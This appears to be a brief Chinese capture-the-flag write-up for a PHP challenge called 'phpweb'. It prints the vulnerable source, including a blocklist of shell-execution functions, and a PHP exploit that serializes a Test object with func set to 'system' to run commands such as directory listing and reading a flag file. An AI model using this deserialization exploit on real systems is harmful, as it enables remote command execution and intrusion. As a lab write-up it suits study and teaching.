phpweb

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phpweb

利用func=file_get_contents&p=index.php拿到源码

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open" ,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch" ,"escapeshellcmd","escapeshellarg","assert","substr_replace" ,"call_user_func_array","call_user_func","array_filter", "array_walk" ,"array_map","registregister_shutdown_function","register_tick_function" ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce" ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); //call_user_func — 把第一个参数作为回调函数调用 $a= gettype($result); //返回 PHP 变量的类型 var. if ($a == "string") { return $result; } else { return ""; } } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> 

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反序列化Test,利用call_user_func函数进行绕过，文件名匹配可以用反序列化绕过

<?php class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); $a -> p="ls ../../../../../"; $a -> func = "system"; print_r(urlencode(serialize($a))); 

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$a = new Test(); $a -> p="cat /tmp/flagoefiu4r93"; #$a -> p="find / -name flag*"; $a -> func = "system"; print_r(urlencode(serialize($a))); 

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